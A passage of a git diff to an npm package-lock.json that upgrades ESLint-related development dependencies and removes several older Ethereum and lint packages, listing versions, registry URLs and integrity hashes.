- "espree": "^9.4.0", - "esquery": "^1.4.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^6.0.1", + "file-entry-cache": "^8.0.0", "find-up": "^5.0.0", - "functional-red-black-tree": "^1.0.1", - "glob-parent": "^6.0.1", - "globals": "^13.15.0", - "globby": "^11.1.0", - "grapheme-splitter": "^1.0.4", + "glob-parent": "^6.0.2", "ignore": "^5.2.0", - "import-fresh": "^3.0.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", - "js-yaml": "^4.1.0", "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.4.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", - "optionator": "^0.9.1", - "regexpp": "^3.2.0", - "strip-ansi": "^6.0.1", - "strip-json-comments": "^3.1.0", - "text-table": "^0.2.0" + "optionator": "^0.9.3" }, "bin": { "eslint": "bin/eslint.js" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { - "url": "https://opencollective.com/eslint" + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } } }, - "node_modules/eslint-config-standard": { - "version": "17.0.0", - "resolved": "https://registry.npmjs.org/eslint-config-standard/-/eslint-config-standard-17.0.0.tgz", - "integrity": "sha512-/2ks1GKyqSOkH7JFvXJicu0iMpoojkwB+f5Du/1SC0PtBL+s8v30k9njRZ21pm2drKYm2342jFnGWzttxPmZVg==", + "node_modules/eslint-formatter-junit": { + "version": "8.40.0", + "resolved": "https://registry.npmjs.org/eslint-formatter-junit/-/eslint-formatter-junit-8.40.0.tgz", + "integrity": "sha512-brB5r40UlMbd/BcmPIxUy/UA4GSGkuA1YRTDX4I5mEjra1asxmjUTWetf65JqVMo2kg96ZIZjRutktcHCIy+Gw==", "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "peerDependencies": { - "eslint": "^8.0.1", - "eslint-plugin-import": "^2.25.2", - "eslint-plugin-n": "^15.0.0", - "eslint-plugin-promise": "^6.0.0" + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" } }, "node_modules/eslint-import-resolver-node": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.6.tgz", - "integrity": "sha512-0En0w03NRVMn9Uiyn8YRPDKvWjxCWkslUEhGNTdGx15RvPJYQ+lbOlqrlNI2vEAs4pDYK4f/HN2TbDmk5TP0iw==", + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz", + "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==", "dev": true, "dependencies": { "debug": "^3.2.7", - "resolve": "^1.20.0" + "is-core-module": "^2.13.0", + "resolve": "^1.22.4" } }, "node_modules/eslint-import-resolver-node/node_modules/debug": { @@ -7237,16 +7212,21 @@ } }, "node_modules/eslint-module-utils": { - "version": "2.7.3", - "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.3.tgz", - "integrity": "sha512-088JEC7O3lDZM9xGe0RerkOMd0EjFl+Yvd1jPWIkMT5u3H9+HC34mWWPnqPrN13gieT9pBOO+Qt07Nb/6TresQ==", + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz", + "integrity": "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==", "dev": true, + "license": "MIT", "dependencies": { - "debug": "^3.2.7", - "find-up": "^2.1.0" + "debug": "^3.2.7" }, "engines": { "node": ">=4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } } }, "node_modules/eslint-module-utils/node_modules/debug": { @@ -7254,64 +7234,52 @@ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", "dev": true, + "license": "MIT", "dependencies": { "ms": "^2.1.1" } }, - "node_modules/eslint-plugin-es": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-es/-/eslint-plugin-es-4.1.0.tgz", - "integrity": "sha512-GILhQTnjYE2WorX5Jyi5i4dz5ALWxBIdQECVQavL6s7cI76IZTDWleTHkxz/QT3kvcs2QlGHvKLYsSlPOlPXnQ==", - "dev": true, - "peer": true, - "dependencies": { - "eslint-utils": "^2.0.0", - "regexpp": "^3.0.0" - }, - "engines": { - "node": ">=8.10.0" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - }, - "peerDependencies": { - "eslint": ">=4.19.1" - } - }, "node_modules/eslint-plugin-import": { - "version": "2.26.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.26.0.tgz", - "integrity": "sha512-hYfi3FXaM8WPLf4S1cikh/r4IxnO6zrhZbEGz2b660EJRbuxgpDS5gkCuYgGWg2xxh2rBuIr4Pvhve/7c31koA==", + "version": "2.32.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz", + "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==", "dev": true, + "license": "MIT", "dependencies": { - "array-includes": "^3.1.4", - "array.prototype.flat": "^1.2.5", - "debug": "^2.6.9", + "@rtsao/scc": "^1.1.0", + "array-includes": "^3.1.9", + "array.prototype.findlastindex": "^1.2.6", + "array.prototype.flat": "^1.3.3", + "array.prototype.flatmap": "^1.3.3", + "debug": "^3.2.7", "doctrine": "^2.1.0", - "eslint-import-resolver-node": "^0.3.6", - "eslint-module-utils": "^2.7.3", - "has": "^1.0.3", - "is-core-module": "^2.8.1", + "eslint-import-resolver-node": "^0.3.9", + "eslint-module-utils": "^2.12.1", + "hasown": "^2.0.2", + "is-core-module": "^2.16.1", "is-glob": "^4.0.3", "minimatch": "^3.1.2", - "object.values": "^1.1.5", - "resolve": "^1.22.0", - "tsconfig-paths": "^3.14.1" + "object.fromentries": "^2.0.8", + "object.groupby": "^1.0.3", + "object.values": "^1.2.1", + "semver": "^6.3.1", + "string.prototype.trimend": "^1.0.9", + "tsconfig-paths": "^3.15.0" }, "engines": { "node": ">=4" }, "peerDependencies": { - "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8" + "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9" } }, "node_modules/eslint-plugin-import/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", "dev": true, "dependencies": { - "ms": "2.0.0" + "ms": "^2.1.1" } }, "node_modules/eslint-plugin-import/node_modules/doctrine": { @@ -7326,108 +7294,6 @@ "node": ">=0.10.0" } }, - "node_modules/eslint-plugin-import/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/eslint-plugin-import/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", - "dev": true - }, - "node_modules/eslint-plugin-n": { - "version": "15.2.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-n/-/eslint-plugin-n-15.2.2.tgz", - "integrity": "sha512-MLjZVAv4TiCIoXqjibNqCJjLkGHfrOY3XZ0ZBLoW0OnS3o98PUBnzB/kfp8dCz/4A4Y18jjX50PRnqI4ACFY1Q==", - "dev": true, - "peer": true, - "dependencies": { - "builtins": "^5.0.1", - "eslint-plugin-es": "^4.1.0", - "eslint-utils": "^3.0.0", - "ignore": "^5.1.1", - "is-core-module": "^2.9.0", - "minimatch": "^3.1.2", - "resolve": "^1.10.1", - "semver": "^7.3.7" - }, - "engines": { - "node": ">=12.22.0" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - }, - "peerDependencies": { - "eslint": ">=7.0.0" - } - }, - "node_modules/eslint-plugin-n/node_modules/eslint-utils": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", - "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", - "dev": true, - "peer": true, - "dependencies": { - "eslint-visitor-keys": "^2.0.0" - }, - "engines": { - "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - }, - "peerDependencies": { - "eslint": ">=5" - } - }, - "node_modules/eslint-plugin-n/node_modules/eslint-visitor-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", - "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", - "dev": true, - "peer": true, - "engines": { - "node": ">=10" - } - }, - "node_modules/eslint-plugin-n/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "peer": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/eslint-plugin-n/node_modules/semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", - "dev": true, - "peer": true, - "dependencies": { - "lru-cache": "^6.0.0" - }, - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, "node_modules/eslint-plugin-node": { "version": "11.1.0", "resolved": "https://registry.npmjs.org/eslint-plugin-node/-/eslint-plugin-node-11.1.0.tgz", @@ -7468,15 +7334,22 @@ } }, "node_modules/eslint-plugin-promise": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-promise/-/eslint-plugin-promise-6.0.1.tgz", - "integrity": "sha512-uM4Tgo5u3UWQiroOyDEsYcVMOo7re3zmno0IZmB5auxoaQNIceAbXEkSt8RNrKtaYehARHG06pYK6K1JhtP0Zw==", + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-promise/-/eslint-plugin-promise-7.2.1.tgz", + "integrity": "sha512-SWKjd+EuvWkYaS+uN2csvj0KoP43YTu7+phKQ5v+xw6+A0gutVX2yqCeCkC3uLCJFiPfR2dD8Es5L7yUsmvEaA==", "dev": true, + "license": "ISC", + "dependencies": { + "@eslint-community/eslint-utils": "^4.4.0" + }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" }, "peerDependencies": { - "eslint": "^7.0.0 || ^8.0.0" + "eslint": "^7.0.0 || ^8.0.0 || ^9.0.0" } }, "node_modules/eslint-scope": { @@ -7517,119 +7390,57 @@ } }, "node_modules/eslint-visitor-keys": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz", - "integrity": "sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==", + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", "dev": true, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" } }, - "node_modules/eslint/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/eslint/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, "engines": { - "node": ">=8" + "node": ">=10" }, "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/eslint/node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true - }, - "node_modules/eslint/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/eslint/node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" }, "engines": { - "node": ">=10" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/eslint/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/eslint/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/eslint/node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint/node_modules/eslint-scope": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.1.tgz", - "integrity": "sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==", - "dev": true, - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "url": "https://opencollective.com/eslint" } }, - "node_modules/eslint/node_modules/eslint-utils": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", - "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "node_modules/eslint/node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, - "dependencies": { - "eslint-visitor-keys": "^2.0.0" - }, + "license": "Apache-2.0", "engines": { - "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { - "url": "https://github.com/sponsors/mysticatea" - }, - "peerDependencies": { - "eslint": ">=5" - } - }, - "node_modules/eslint/node_modules/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", - "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", - "dev": true, - "engines": { - "node": ">=10" + "url": "https://opencollective.com/eslint" } }, "node_modules/eslint/node_modules/estraverse": { @@ -7637,6 +7448,7 @@ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", "dev": true, + "license": "BSD-2-Clause", "engines": { "node": ">=4.0" } @@ -7657,62 +7469,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/eslint/node_modules/globals": { - "version": "13.15.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.15.0.tgz", - "integrity": "sha512-bpzcOlgDhMG070Av0Vy5Owklpv1I6+j96GhUI7Rh7IzDCKLzboflLrrfqMu8NquDbiR4EOQk7XzJwqVJxicxog==", - "dev": true, - "dependencies": { - "type-fest": "^0.20.2" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint/node_modules/globby": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", - "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", - "dev": true, - "dependencies": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.9", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^3.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/eslint/node_modules/js-yaml": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", - "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", - "dev": true, - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, "node_modules/eslint/node_modules/locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", @@ -7728,18 +7484,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/eslint/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, "node_modules/eslint/node_modules/p-locate": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", @@ -7764,42 +7508,32 @@ "node": ">=8" } }, - "node_modules/eslint/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/espree": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "has-flag": "^4.0.0" + "acorn": "^8.15.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^4.2.1" }, "engines": { - "node": ">=8" - } - }, - "node_modules/eslint/node_modules/type-fest": { - "version": "0.20.2", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", - "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", - "dev": true, - "engines": { - "node": ">=10" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "url": "https://opencollective.com/eslint" } }, - "node_modules/espree": { - "version": "9.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-9.4.0.tgz", - "integrity": "sha512-DQmnRpLj7f6TgN/NYb0MTzJXL+vJF9h3pHy4JhCIs3zwcgez8xmGg3sXHcEO97BrmO2OSvCwMdfdlyl+E9KjOw==", + "node_modules/espree/node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, - "dependencies": { - "acorn": "^8.8.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^3.3.0" - }, + "license": "Apache-2.0", "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { "url": "https://opencollective.com/eslint" @@ -7819,10 +7553,11 @@ } }, "node_modules/esquery": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.4.0.tgz", - "integrity": "sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { "estraverse": "^5.1.0" }, @@ -7835,6 +7570,7 @@ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", "dev": true, + "license": "BSD-2-Clause", "engines": { "node": ">=4.0" } @@ -7878,14 +7614,6 @@ "node": ">=0.10.0" } }, - "node_modules/etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - "engines": { - "node": ">= 0.6" - } - }, "node_modules/eth-block-tracker": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/eth-block-tracker/-/eth-block-tracker-4.4.3.tgz", @@ -7899,20 +7627,6 @@ "safe-event-emitter": "^1.0.1" } }, - "node_modules/eth-ens-namehash": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/eth-ens-namehash/-/eth-ens-namehash-2.0.8.tgz", - "integrity": "sha512-VWEI1+KJfz4Km//dadyvBBoBeSQ0MHTXPvr8UIXiLW6IanxvAV+DmlZAijZwAyggqGUfwQBeHf7tc9wzc1piSw==", - "dependencies": { - "idna-uts46-hx": "^2.3.1", - "js-sha3": "^0.5.7" - } - }, - "node_modules/eth-ens-namehash/node_modules/js-sha3": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/js-sha3/-/js-sha3-0.5.7.tgz", - "integrity": "sha512-GII20kjaPX0zJ8wzkTbNDYMY7msuZcTWk8S5UOh6806Jq/wz1J8/bnr8uGU0DAUmYDjj2Mr4X1cW8v/GLYnR+g==" - }, "node_modules/eth-json-rpc-filters": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/eth-json-rpc-filters/-/eth-json-rpc-filters-4.2.2.tgz", @@ -8003,34 +7717,6 @@ "safe-event-emitter": "^1.0.1" } }, - "node_modules/eth-lib": { - "version": "0.1.29", - "resolved": "https://registry.npmjs.org/eth-lib/-/eth-lib-0.1.29.tgz", - "integrity": "sha512-bfttrr3/7gG4E02HoWTDUcDDslN003OlOoBxk9virpAZQ1ja/jDgwkWB8QfJF7ojuEowrqy+lzp9VcJG7/k5bQ==", - "dependencies": { - "bn.js": "^4.11.6", - "elliptic": "^6.4.0", - "nano-json-stream-parser": "^0.1.2", - "servify": "^0.1.12", - "ws": "^3.0.0", - "xhr-request-promise": "^0.1.2" - } - }, - "node_modules/eth-lib/node_modules/bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" - }, - "node_modules/eth-lib/node_modules/ws": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/ws/-/ws-3.3.3.tgz", - "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", - "dependencies": { - "async-limiter": "~1.0.0", - "safe-buffer": "~5.1.0", - "ultron": "~1.1.0" - } - }, "node_modules/eth-net-props": { "version": "1.0.41", "resolved": "https://registry.npmjs.org/eth-net-props/-/eth-net-props-1.0.41.tgz", @@ -8085,14 +7771,6 @@ "safe-buffer": "^5.1.1" } }, - "node_modules/ethereum-bloom-filters": { - "version": "1.0.10", - "resolved": 